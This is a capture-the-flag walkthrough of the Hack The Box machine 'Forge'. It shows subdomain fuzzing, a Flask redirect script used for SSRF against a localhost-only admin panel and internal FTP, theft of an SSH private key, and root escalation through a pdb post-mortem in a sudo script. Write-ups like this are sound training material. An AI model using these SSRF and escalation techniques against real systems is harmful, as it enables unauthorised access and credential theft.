Forge

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 5000 10.129.204.233
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-07 16:00 EDT
Nmap scan report for 10.129.204.233
Host is up (0.0087s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT   STATE    SERVICE
21/tcp filtered ftp
22/tcp open     ssh
80/tcp open     http

We have to add forge.htb to our /etc/hosts file to enumerate the website. Also, FTP is not a false positive here.

Forge.htb Enum

The website is some kind of Gallery that lets us view and upload images.

The uploads portion allow us to use URLs:

If we were to start a nc listener port and redirect the request to our machine, we would see this:

$ nc -lvnp 80  
listening on [any] 80 ...
connect to [10.10.14.13] from (UNKNOWN) [10.129.204.233] 56488
GET /test HTTP/1.1
Host: 10.10.14.13
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

This was using a Python based website, that is sending requests. The website had nothing else to offer, and I wasn't able to download or execute any webshells. So I did some wfuzz subdomain fuzzing and gobuster directory scans.

wfuzz picked up on an administrator site:

$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H 'Host:FUZZ.forge.htb' --hw=26 -u http://forge.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://forge.htb/
Total requests: 100000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                     
=====================================================================

000000036:   200        1 L      4 W        27 Ch       "admin"

Trying to visit it doesn't work though.

$ curl http://admin.forge.htb/
Only localhost is allowed

Redirect Bypass -> SSH Key

All my attempts to access the admin panel via modifying HTTP headers didn't work. So we have to try something else.

Since this server was in Python, and the administrator panel can only be accessed by localhost, I thought of creating a 'redirector' that would accept requests on the website and redirect us to the admin panel. Here's a good script for that:

import os
from flask import Flask,redirect

app = Flask(__name__)

@app.route('/')
def hello():
    return redirect("http://www.example.com", code=302)

if __name__ == '__main__':
    # Bind to PORT if defined, otherwise default to 5000.
    port = int(os.environ.get('PORT', 5000))
    app.run(host='0.0.0.0', port=port)

When we start this, the website would generate a link to an 'image', which would always fail to display because it's not an image.

But, when we curl it, we can see it contains the page contents of the admin panel:

$ curl http://forge.htb/uploads/mIIQuMY5OzWN8Fa2f5uF
<!DOCTYPE html>
<html>
<head>
    <title>Admin Portal</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br><br>
    <br><br><br><br>
    <center><h1>Welcome Admins!</h1></center>
</body>
</html>

Let's read the announcements on the site.

<!DOCTYPE html>
<html>
<head>
    <title>Announcements</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br>
    <ul>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
    </ul>
</body>
</html>

This reveals some credentials for us to use for FTP, which is behind a firewall. Since the /upload endpoint supports FTP traffic, we can make our script redirect us there using the u parameter and ftp://.

import os
from flask import Flask,redirect

app = Flask(__name__)

@app.route('/ftp')
def ftp():
    return redirect('http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@127.0.0.1')

@app.route('/announce')
def announce():
    return redirect('http://admin.forge.htb/announcements',code=302)

@app.route('/')
def hello():
    return redirect("http://admin.forge.htb", code=302)

if __name__ == '__main__':
    # Bind to PORT if defined, otherwise default to 5000.
    port = int(os.environ.get('PORT', 5000))
    app.run(host='0.0.0.0', port=port)

When redirected, we can see the contents of the FTP server:

$ curl http://forge.htb/uploads/7iZvhkJMSjbby5oatOfe
drwxr-xr-x    3 1000     1000         4096 Aug 04  2021 snap
-rw-r-----    1 0        1000           33 May 07 14:26 user.txt

This looks like the user's directory, so let's check whether there's a .ssh folder present.

$ curl http://forge.htb/uploads/EvkwW5i3ganDEIzW2doi
-rw-------    1 1000     1000          564 May 31  2021 authorized_keys
-rw-------    1 1000     1000         2590 May 20  2021 id_rsa
-rw-------    1 1000     1000          564 May 20  2021 id_rsa.pub

We can grab the id_rsa flag through this and SSH in as user.

Grab the user flag.

Privilege Escalation

Remote Manage -> Path Hijacking

When we check sudo privileges, we find that user is able to run a Python script as root.

user@forge:~$ sudo -l
Matching Defaults entries for user on forge:                                                 
    env_reset, mail_badpass,                                                                 
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin 
                                                                                             
User user may run the following commands on forge:                                           
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

Here's the script:

#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

This program opens a port and then runs commands as root. The vulnerable part is when it opens pdb upon receivinig an input that is not a number.

pdb is Python Debugger, and running it as root means we can gain an easy shell.

Rooted!

Last updated